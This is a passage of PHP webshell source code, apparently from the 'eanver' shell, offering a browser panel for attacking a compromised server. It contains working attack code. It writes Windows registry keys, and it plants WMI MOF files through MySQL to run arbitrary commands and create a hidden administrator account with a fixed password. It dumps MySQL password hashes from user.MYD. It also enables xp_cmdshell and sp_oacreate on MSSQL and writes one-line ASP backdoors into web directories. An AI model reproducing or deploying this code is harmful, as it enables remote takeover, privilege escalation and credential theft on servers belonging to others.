$wpath = isset($_POST['wpath']) ? $_POST['wpath'] : '';   
$wpath = str_replace("\\\\", "\\", $wpath);      
$wtype = isset($_POST['wtype']) ? $_POST['wtype'] : '';
$wvalue = isset($_POST['wvalue']) ? $_POST['wvalue'] : '';
if   ($action=="write"){
$shell1->RegWrite($wpath, $wvalue, $wtype);     
}

print<<<END
<TR><form   action=""   method="post">   
<div><TD WIDTH=100 VALIGN=TOP ALIGN=CENTER>  
Dpath:<input type="hidden" name="action" value="del">   
<input type="text" name="dpath" value="{$dpath}" size="70">   
<input class="bt" type="submit" value=""></form></TD></TR><br><br></div>   
END;
   
$dpath = isset($_POST['dpath']) ? $_POST['dpath'] : '';   
$dpath = str_replace("\\\\", "\\", $dpath);      
if   ($action=="del"){
$out = $shell1->RegDelete($dpath);  
} 
}else{
$tip="<br>WebshellWindows<br>PHP<br></h5><br><br><br>";
print<<<END
<div class="actall"><pre>
<br><a href="?eanver=winapi&winshell=wscript"> [ WScript ] </a><br><br>
<h5>PHPWindowsWscript<br>
Wscriptcmd<br>{$tip}<a href="?eanver=winapi&winshell=shelluser"> [ Shell.User ] </a><br><br>
<h5>PHPWindowsShell.user<br>
USERWindows<br>{$tip}<a href="?eanver=winapi&winshell=regedit"> [  ] </a><br><br>
<h5>PHPWindowsShell.Wscript<br>
<h5><font color=red></font>
RegRead()<br>{$tip}</pre></div>
END;
}
//}
break;
 
case "mofshell":
 session_start();
if(!empty($_POST['submit'])){
setcookie("connect");
setcookie("connect[host]",$_POST['host']);
setcookie("connect[user]",$_POST['user']);
setcookie("connect[pass]",$_POST['pass']);
setcookie("connect[dbname]",$_POST['dbname']);
setcookie("connect[path]",$_POST['path']);
echo "<script>location.href='?eanver=mofshell&action=connect'</script>";
}
if(empty($_GET["action"])){ 
echo "<form action='?eanver=mofshell&action=connect' method='post'>";
echo "ip:";
echo "<div class='actall'><input type='text' name='host' value='localhost:3306'><br/></div>";
echo ":";
echo "<div class='actall'><input type='text' name='user' value='root'><br/></div>";
echo ":";
echo "<div class='actall'><input type='password' name='pass' value='123456'><br/></div>";
echo ":";
echo "<div class='actall'><input type='text' name='dbname' value='mysql'><br/></div>";
echo "(''savefile''):";
echo "<div class='actall'><input type='text' name='path' value='c:/recycler/savefile'><br/></div>";
echo "<div class='actall'><input type='submit' name='submit' value=''><br/></div>";
echo "</form>";
echo "<div class='actall'>ps:mofwindows<br>1:mofwscript.shellshell.users<br>2:<br>3:wscript.shellshell.user<br>4:<br>5:2<br><br>:<br>";
echo "
 net stop winmgmt <br>
 C:\WINDOWS\system32\wbem\Repository\<br>
 net start winmgmt <br>
<br>
C:\WINDOWS\system32\wbem\Repository\ .mof<br>
<br>
mof</div>";
exit;
}
if ($_GET[action]=='connect')
{
$conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>');
echo "<form action='' method='post'>";
echo "<div class='actall'>Cmd:";
echo "<input type='text' style='width:400' name='cmd' value='$strCmd'?></div>";
echo "<div class='actall'><input type='submit' value='  wscript  '>";
echo "</form><br><br>";

echo "<form action='' method='post'>";
echo "<input type='hidden' name='flag' value='flag'>";
echo "<input type='submit'value='wscript'></div>";
echo "</form>";

echo "<hr>";
 
echo "<form action='' method='post'>";
echo "<input type='hidden' name='shelluser' value='shelluser'>";
echo "<div class='actall'><input type='submit' value=' shelluser  '></div>";
echo "</form>"; 
if (isset($_POST['cmd'])){
$strCmd=$_POST['cmd'];
$cmdshell='cmd /c '.$strCmd.'>'.$_COOKIE["connect"]["path"];
$mofname="c:/windows/system32/wbem/mof/system.mof";
$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")
 
instance of __EventFilter as \$EventFilter
{
  EventNamespace = \"Root\\\\\\\\Cimv2\";
  Name  = \"filtP2\";
  Query = \"Select * From __InstanceModificationEvent \"
      \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"
      \"And TargetInstance.Second = 5\";
  QueryLanguage = \"WQL\";
};
 
instance of ActiveScriptEventConsumer as \$Consumer
{
  Name = \"consPCSV2\";
  ScriptingEngine = \"JScript\";
  ScriptText =
  \"var WSH = new ActiveXObject(\\\\\"WScript.Shell\\\\\")\\\\nWSH.run(\\\\\"$cmdshell\\\\\")\";
 };
 
instance of __FilterToConsumerBinding
{
  Consumer = \$Consumer;
  Filter = \$EventFilter;
};";
mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select '$payload' into dumpfile '$mofname';";
if(mysql_query($sql1))
  echo "<hr>!<br> \"wscript\"!!<br><br>ps:wscriptwscript.shell<hr>"; else die(mysql_error());
 mysql_close($conn);
}
 
if(isset($_POST['flag']))
{
  $conn=mysql_connect($_COOKIE["connect"]["host"],$_COOKIE["connect"]["user"],$_COOKIE["connect"]["pass"])  or die('<pre>'.mysql_error().'</pre>');
   $sql2="select load_file(\"".$_COOKIE["connect"]["path"]."\");";
  $result2=mysql_query($sql2);
  $num=mysql_num_rows($result2);
  while ($row = mysql_fetch_array($result2, MYSQL_NUM)) {
    echo "<hr/>";
    echo '<pre>'. $row[0].'</pre>';
  }
  mysql_close($conn);
}



if (isset($_POST['shelluser'])){

$mofname="c:/windows/system32/wbem/mof/system.mof";

$payload = "#pragma namespace(\"\\\\\\\\\\\\\\\\.\\\\\\\\root\\\\\\\\subscription\")
 
instance of __EventFilter as \$EventFilter
{
  EventNamespace = \"Root\\\\\\\\Cimv2\";
  Name  = \"filtP2\";
  Query = \"Select * From __InstanceModificationEvent \"
      \"Where TargetInstance Isa \\\\\"Win32_LocalTime\\\\\" \"
      \"And TargetInstance.Second = 5\";
  QueryLanguage = \"WQL\";
};
 
instance of ActiveScriptEventConsumer as \$Consumer
{
  Name = \"consPCSV2\";
  ScriptingEngine = \"JScript\";
  ScriptText =  
\"var WSH = new ActiveXObject(\\\\\"Shell.Users\\\\\")\\\\nz=WSH.create(\\\\\"MofNewUser\\\\\")\\\\nz.changePassword(\\\\\"ASDfg123!@#...\\\\\", \\\\\"\\\\\")\\\\nz.setting(\\\\\"AccountType\\\\\")=3\";
 };
 
instance of __FilterToConsumerBinding
{
  Consumer = \$Consumer;
  Filter = \$EventFilter;
};";

mysql_select_db($_COOKIE["connect"]["dbname"],$conn);
$sql1="select '$payload' into dumpfile '$mofname';";
if(mysql_query($sql1))
  echo "<hr>,MofNewUser ASDfg123!@#...    <br>ps:ShellUser,5<hr>"; else die(mysql_error());
 mysql_close($conn);

}
}
break;


case "readpass":
if(isset($_POST['sub'])){
$name=$_POST['name'];
$pass=$_POST['password'];
$host=$_POST['host'];
$db=$_POST['db'];
$link = mysql_connect($host,$name,$pass);
if(!link){
die("could not connect".mysql_error());
}

if(!mysql_select_db($db,$link)){
	die("db".mysql_error());
}

$db_path_sql="select @@basedir";
if($n=mysql_query($db_path_sql)){
	$db_path_rs=mysql_fetch_array($n);
	 $db_path=str_replace("\\","/",$db_path_rs[0]);
}
$dropmoon='DROP table moon';
$sql="CREATE TABLE moon (`code` TEXT NOT NULL ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci;";
$exp="LOAD DATA LOCAL INFILE '".$db_path."data/mysql/user.MYD' INTO TABLE moon fields terminated by '' LINES TERMINATED BY '\0';";
$select="SELECT code FROM moon";
$pass="";
mysql_query($dropmoon);
if(mysql_query($sql)){
	if($row=mysql_query($exp)){
		if($row=mysql_query($select)){
			while($rows=mysql_fetch_array($row))
				{
				echo $pass.=$rows['code'];
				}
	}
	}
}
}
else{

	echo '<form action="" method="post">';
	echo "<h3>MYSQLROOT</h3>";
	echo '<div class="actall">ip&nbsp;&nbsp;&nbsp;<input type="text" name="host" value="localhost"><br></div>';
	echo '<div class="actall"><input type="text" name="name" value="root"><br></div>';
	echo '<div class="actall"><input type="text" name="password"><br></div>';
	echo '<div class="actall"><input type="text" name="db" value="mysql"></div>';
	echo '<div class="actall">&nbsp&nbsp<input type="submit" value="        " name="sub"></div>';
}
break;
case "othersql":
 //
//function otherdb(){
$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
print<<<END
<form method="POST" name="dbform" id="dbform" action="?eanver=othersql&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?eanver=othersql&db=ms"> &nbsp; MSSQL &nbsp;</a>
<a href="?eanver=othersql&db=ora"> &nbsp; Oracle &nbsp;</a>
<a href="?eanver=othersql&db=ifx"> &nbsp; InforMix &nbsp;</a>
<a href="?eanver=othersql&db=fb"> &nbsp; FireBird &nbsp;</a>
<a href="?eanver=othersql&db=db2">&nbsp; DB2 &nbsp;</a></div></form>
END;
if ($db=="ms"){
$mshost = isset($_POST['mshost']) ? $_POST['mshost']:'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print<<<END
<div class="actall">
<form method="POST" name="msform" action="?eanver=othersql&db=ms">
<input type="text" name="mshost" value="{$mshost}" style="width:100px">
:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
Str = new Array(11);
Str[0] = "";
Str[1] = "select @@version;";
Str[2] = "select name from sysdatabases;";
Str[3] = "select name from sysobject where type='U';";
Str[4] = "select name from syscolumns where id=Object_Id('table_name');";
Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
Str[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
Str[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
Str[10] = "Exec master.dbo.xp_cmdshell 'net user';";
Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
Str[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
msform.mssql.value = Str[i];
return true;
}
</script>
<textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br>
<select onchange="return msFull(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
<option value="5">sp_oacreate</option>
<option value="6">xp_cmdshell</option>
<option value="7">xp_cmdshell(2005)</option>
<option value="8">sp_oacreate(2005)</option>
<option value="9">openrowset(2005)</option>
<option value="10">xp_cmdshell exec</option>
<option value="10">sp_oamethod exec</option>
<option value="11">sp_makewebtask</option>
</select>
<input type="hidden" name="action" value="msquery">
<input class="bt" type="submit" value=""></form></div>
END;
if ($msaction == 'msquery'){
$msconn= mssql_connect ($mshost , $msuser, $mspass);
mssql_select_db($msdbname,$msconn) or die("connect error :" .mssql_get_last_message());
$msresult = mssql_query($msquery) or die(mssql_get_last_message());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
for ($i=0; $i<mssql_num_fields($msresult); $i++)
{echo '<td><b>'.mssql_field_name($msresult, $i)."</b></td>\n";}
echo "</tr>\n";
mssql_data_seek($result, 0);
while ($msrow=mssql_fetch_row($msresult))
{
echo "<tr>\n";
for ($i=0; $i<mssql_num_fields($msresult); $i++ )
{echo '<td>'."$msrow[$i]".'</td>';}
echo "</tr>\n";
}
echo "</table></font>";
mssql_free_result($msresult);
mssql_close();
}
}
elseif ($db=="ora"){
$orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost';
$oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521';
$orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root';
$orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456';
$orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL';
$oraaction = isset($_POST['action']) ? $_POST['action'] : '';
$oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : '';
$oraquery = stripslashes($oraquery);
print<<<END
<form method="POST" name="oraform" action="?eanver=othersql&db=ora">
<div class="actall">
:<input type="text" name="orahost" value="{$orahost}" style="width:100px">
:<input type="text" name="oraport" value="{$oraport}" style="width:50px">
:<input type="text" name="orauser" value="{$orauser}" style="width:80px">
:<input type="text" name="orapass" value="{$orapass}" style="width:100px">
SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br>
<script language="javascript">
function oraFull(i){
Str = new Array(5);
Str[0] = "";
Str[1] = "select version();";
Str[2] = "SELECT NAME FROM V$DATABASE";
Str[3] = "select * From all_objects where object_type='TABLE'";
Str[4] = "select column_name from user_tab_columns where table_name='table1'";
oraform.orasql.value = Str[i];
return true;
}
</script>
<textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br>
<select onchange="return oraFull(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
</select>
<input type="hidden" name="action" value="myquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if($oraaction == 'oraquery'){
$oralink=OCILogon($orauser,$orapass,"(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))") or die(ocierror());
$oraresult=ociparse($oralink,$oraquery) or die(ocierror());
$orarow=oci_fetch_row($oraresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
for ($i=0; $i<oci_num_fields($oraresult); $i++)
{echo '<td><b>'.oci_field_name($oraresult, $i)."</b></td>\n";}
echo "</tr>\n";
ociresult($oraresult, 0);
while ($orarow=ora_fetch_row($oraresult))
{
echo "<tr>\n";
for ($i=0; $i<ora_num_fields($result); $i++ )
{echo '<td>'."$orarow[$i]".'</td>';}
echo "</tr>\n";
}
echo "</table></font>";
oci_free_statement($oraresult);
ocilogoff();
}
}
elseif ($db == "ifx"){
$ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root';
$ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456';
$ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb';
$ifxaction = isset($_POST['action']) ? $_POST['action'] : '';
$ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : '';
$ifxquery = stripslashes($ifxquery);
print<<<END
<form method="POST" name="ifxform" action="?eanver=othersql&db=ifx">
<div class="actall">:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px">
:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px">
:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br>
<script language="javascript">
function ifxFull(i){
Str = new Array(11);
Str[0] = "";
Str[1] = "select dbservername from sysobjects;";
Str[2] = "select name from sysdatabases;";
Str[3] = "select tabname from systables;";
Str[4] = "select colname from syscolumns where tabid=n;";
Str[5] = "select username,usertype,password from sysusers;";
ifxform.ifxsql.value = Str[i];
return true;
}
</script>
<textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br>
<select onchange="return ifxFull(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4">hashes</option>
</select>
<input type="hidden" name="action" value="ifxquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if($ifxaction == 'ifxquery'){
$ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg());
$ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg());
$ifxrow=ifx_fetch_row($ifxresult);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
for($i=0; $i<ifx_num_fields($ifxresult); $i++)
{echo '<td><b>'.ifx_fieldproperties($ifxresult)."</b></td>\n";}
echo "</tr>\n";
mysql_data_seek($ifxresult, 0);
while ($ifxrow=ifx_fetch_row($ifxresult))
{
echo "<tr>\n";
for ($i=0; $i<ifx_num_fields($ifxresult); $i++ )
{echo '<td>'."$ifxrow[$i]".'</td>';}
echo "</tr>\n";
}
echo "</table></font>";
ifx_free_result($ifxresult);
ifx_close();
}
}
elseif ($db=="db2"){
$db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost';
$db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000';
$db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root';
$db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456';
$db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql';
$db2action = isset($_POST['action']) ? $_POST['action'] : '';
$db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : '';
$db2query = stripslashes($db2query);
print<<<END
<form method="POST" name="db2form" action="?eanver=othersql&db=db2">
<div class="actall">:<input type="text" name="db2host" value="{$db2host}" style="width:100px">
:<input type="text" name="db2port" value="{$db2port}" style="width:60px">
:<input type="text" name="db2user" value="{$db2user}" style="width:100px">
:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px">
:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br>
<script language="javascript">
function db2Full(i){
Str = new Array(4);
Str[0] = "";
Str[1] = "select schemaname from syscat.schemata;";
Str[2] = "select name from sysibm.systables;";
Str[3] = "select colname from syscat.columns where tabname='table_name';";
Str[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>

<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query'){
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link,$db2query) or die(db2_stmt_errormsg());
$db2row=db2_fetch_row($db2result);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
for ($i=0; $i<db2_num_fields($db2result); $i++)
{echo '<td><b>'.db2_field_name($db2result)."</b></td>\n";}
echo "</tr>\n";
while ($db2row=db2_fetch_row($db2result))
{
echo "<tr>\n";
for ($i=0; $i<db2_num_fields($db2result); $i++ )
{echo '<td>'."$db2row[$i]".'</td>';}
echo "</tr>\n";
}
echo "</table></font>";
db2_free_result($db2result);
db2_close();
}
}
elseif($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print<<<END
<form method="POST" name="fbform" action="?eanver=othersql&db=fb">
<div class="actall">:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
Str[0] = "";
Str[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
Str[3] = "input 'D:\\createtable.sql';";
Str[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
<option value="0" selected></option>
<option value="1"></option>
<option value="2"></option>
<option value="3">sql</option>
<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if($fbaction == 'fbquery'){
$fblink = ibase_connect($fbhost.':'.$fbpath,$fbuser,$fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink,$fbquery) or die(ibase_errmsg());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">'."\n<tr>\n";
for ($i=0; $i<ibase_num_fields($fbresult); $i++)
{echo '<td><b>'.ibase_field_info($fbresult, $i)."</b></td>\n";}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow=ibase_fetch_row($fbresult))
{
echo "<tr>\n";
for ($i=0; $i<ibase_num_fields($fbresult); $i++ )
{echo '<td>'."$fbrow[$i]".'</td>';}
echo "</tr>\n";
}
echo "</table></font>";
ibase_free_result($fbresult);
ibase_close();
}
}
//}
break;


case "zippak":
//function zipact()
//{
$zfile=$_POST['zfile'] ? $_POST['zfile']:'php.zip';
$jypt=$_POST['jypt'] ? $_POST['jypt']:'./';
$tip="";
if($_POST['zip']=='zip'){
if(function_exists(zip_open)){
$zfile=key_exists('zip', $_GET) && $_GET['zip']?$_GET['zip']:$zfile;
$zfile= str_replace(array(dirname(__FILE__)."/",dirname(__FILE__)."\\"),array("",""),$zfile);
$zpath=str_replace('\\','/',dirname(__FILE__)).'/'.$zfile;
if(!is_file($zpath)){$tip='"'.$zpath.'"!';}else{
$zip= new ZipArchive();
$rs=$zip->open($zpath);
if($rs !== TRUE){$tip=':'.$rs;}
$zip->extractTo($jypt);
$zip->close();
$tip=$zfile.'!';}
}else{$tip="PHP_ZIP,";}
}
print<<<END
<div class="actall">
<form action="?eanver=info_f" method="POST">
<input type="hidden" name="zip" id="zip" value="zip">
PHPzip_openZIP<br>
<b><a href="??eanver=info_f"></a></b>php_zip<br>
 :-(<br>
<br><br>
<br>
<input type="text" name="zfile" id="zfile" value="{$zfile}" style="width:720px;"><br><br>

<input type="text" name="jypt" id="jypt" value="{$jypt}" style="width:720px;"><br><br>
<input type="submit" value="" style="width:80px;"><br><br><br>
{$tip}<br><br><br></form></div>
END;
//}
break;





case "mysql_msg":
	$conn = @mysql_connect($_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'],$_COOKIE['m_eanveruser'],$_COOKIE['m_eanverpass']);
	if($conn)
	{
print<<<END
<script language="javascript">
function Delok(msg,gourl)
{
	smsg = "[" + unescape(msg) + "]?";
	if(confirm(smsg)){window.location = gourl;}
}
function Createok(ac)
{
	if(ac == 'a') document.getElementById('nsql').value = 'CREATE TABLE name (eanver BLOB);';
	if(ac == 'b') document.getElementById('nsql').value = 'CREATE DATABASE name;';
	if(ac == 'c') document.getElementById('nsql').value = 'DROP DATABASE name;';
	return false;
}
</script>
END;
		$BOOL = false;
		$MSG_BOX = ':'.$_COOKIE['m_eanveruser'].' &nbsp;&nbsp;&nbsp;&nbsp; :'.$_COOKIE['m_eanverhost'].':'.$_COOKIE['m_eanverport'].' &nbsp;&nbsp;&nbsp;&nbsp; :';
		$k = 0;
		$result = @mysql_query('select version();',$conn);
		while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;}
		echo '<div class="actall"> :';
		$result = mysql_query("SHOW DATABASES",$conn);
		while($db = mysql_fetch_array($result)){echo '&nbsp;&nbsp;[<a href="?eanver=mysql_msg&db='.$db['Database'].'">'.$db['Database'].'</a>]';}
		echo '</div>';
		if(isset($_GET['db']))
		{
			mysql_select_db($_GET['db'],$conn);
			if(!empty($_POST['nsql'])){$BOOL = true; $MSG_BOX = mysql_query($_POST['nsql'],$conn) ? '' : ' '.mysql_error();}
			if(is_array($_POST['insql']))
			{
				$query = 'INSERT INTO '.$_GET['table'].' (';
				foreach($_POST['insql'] as $var => $key)
				{
					$querya .= $var.',';
					$queryb .= '\''.addslashes($key).'\',';
				}
				$query = $query.substr($querya, 0, -1).') VALUES ('.substr($queryb, 0, -1).');';
				$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();
			}
			if(is_array($_POST['upsql']))
			{
				$query = 'UPDATE '.$_GET['table'].' SET ';
				foreach($_POST['upsql'] as $var => $key)
				{
					$queryb .= $var.'=\''.addslashes($key).'\',';
				}
				$query = $query.substr($queryb, 0, -1).' '.base64_decode($_POST['wherevar']).';';
				$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();
			}
			if(isset($_GET['del']))
			{
				$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['del'].', 1;',$conn);
				$good = mysql_fetch_assoc($result);
				$query = 'DELETE FROM '.$_GET['table'].' WHERE ';
				foreach($good as $var => $key){$queryc .= $var.'=\''.addslashes($key).'\' AND ';}
				$where = $query.substr($queryc, 0, -4).';';
				$MSG_BOX = mysql_query($where,$conn) ? '' : ' '.mysql_error();
			}
			$action = '?eanver=mysql_msg&db='.$_GET['db'];
			if(isset($_GET['drop'])){$query = 'Drop TABLE IF EXISTS '.$_GET['drop'].';';$MSG_BOX = mysql_query($query,$conn) ? '' : ' '.mysql_error();}
			if(isset($_GET['table'])){$action .= '&table='.$_GET['table'];if(isset($_GET['edit'])) $action .= '&edit='.$_GET['edit'];}
			if(isset($_GET['insert'])) $action .= '&insert='.$_GET['insert'];
			echo '<div class="actall"><form method="POST" action="'.$action.'">';
			echo '<textarea name="nsql" id="nsql" style="width:500px;height:50px;">'.$_POST['nsql'].'</textarea> ';
			echo '<input type="submit" name="querysql" value="" style="width:60px;height:49px;"> ';
			echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'a\')"> ';
			echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'b\')"> ';
			echo '<input type="button" value="" style="width:60px;height:49px;" onclick="Createok(\'c\')"></form></div>';
			echo '<div class="msgbox" style="height:40px;">'.$MSG_BOX.'</div><div class="actall"><a href="?eanver=mysql_msg&db='.$_GET['db'].'">'.$_GET['db'].'</a> ---> ';
			if(isset($_GET['table']))
			{
				echo '<a href="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$_GET['table'].'">'.$_GET['table'].'</a> ';
				echo '[<a href="?eanver=mysql_msg&db='.$_GET['db'].'&insert='.$_GET['table'].'"></a>]</div>';
				if(isset($_GET['edit']))
				{
					if(isset($_GET['p'])) $atable = $_GET['table'].'&p='.$_GET['p']; else $atable = $_GET['table'];
					echo '<form method="POST" action="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$atable.'">';
					$result = mysql_query('SELECT * FROM '.$_GET['table'].' LIMIT '.$_GET['edit'].', 1;',$conn);
					$good = mysql_fetch_assoc($result);
					$u = 0;
					foreach($good as $var => $key)
					{
						$queryc .= $var.'=\''.$key.'\' AND ';
						$type = @mysql_field_type($result, $u);
						$len = @mysql_field_len($result, $u);
						echo '<div class="actall">'.$var.' <font color="#FF0000">'.$type.'('.$len.')</font><br><textarea name="upsql['.$var.']" style="width:600px;height:60px;">'.htmlspecialchars($key).'</textarea></div>';
						$u++;
					}
					$where = 'WHERE '.substr($queryc, 0, -4);
					echo '<input type="hidden" id="wherevar" name="wherevar" value="'.base64_encode($where).'">';
					echo '<div class="actall"><input type="submit" value="Update" style="width:80px;"></div></form>';
				}
				else
				{
					$query = 'SHOW COLUMNS FROM '.$_GET['table'];
		      $result = mysql_query($query,$conn);
		      $fields = array();
			  $pagesize=20;
		      $row_num = mysql_num_rows(mysql_query('SELECT * FROM '.$_GET['table'],$conn));
			  $numrows=$row_num;
              $pages=intval($numrows/$pagesize);
              if ($numrows%$pagesize) $pages++;
              $offset=$pagesize*($page - 1);
              $page=$_GET['p'];
              if(!$page) $page=1;

		      if(!isset($_GET['p'])){$p = 0;$_GET['p'] = 1;} else $p = ((int)$_GET['p']-1)*20;
					echo '<table border="0"><tr>';
					echo '<td class="toptd" style="width:70px;" nowrap></td>';
					while($row = @mysql_fetch_assoc($result))
					{
						array_push($fields,$row['Field']);
						echo '<td class="toptd" nowrap>'.$row['Field'].'</td>';
					}
					echo '</tr>';
					if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $query = $_POST['nsql']; else $query = 'SELECT * FROM '.$_GET['table'].' LIMIT '.$p.', 20;';
					$result = mysql_query($query,$conn);
					$v = $p;
					while($text = @mysql_fetch_assoc($result))
					{
						echo '<tr><td><a href="?eanver=mysql_msg&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&edit='.$v.'">  </a> ';
						echo '<a href="#" onclick="Delok(\'\',\'?eanver=mysql_msg&db='.$_GET['db'].'&table='.$_GET['table'].'&p='.$_GET['p'].'&del='.$v.'\');return false;">  </a></td>';
						foreach($fields as $row){echo '<td>'.nl2br(htmlspecialchars(Mysql_Len($text[$row],500))).'</td>';}
						echo '</tr>'."\r\n";$v++;
					}
					echo '</table><div class="actall">';
                    $pagep=$page-1;
                    $pagen=$page+1;
                    echo " ".$row_num."  ";
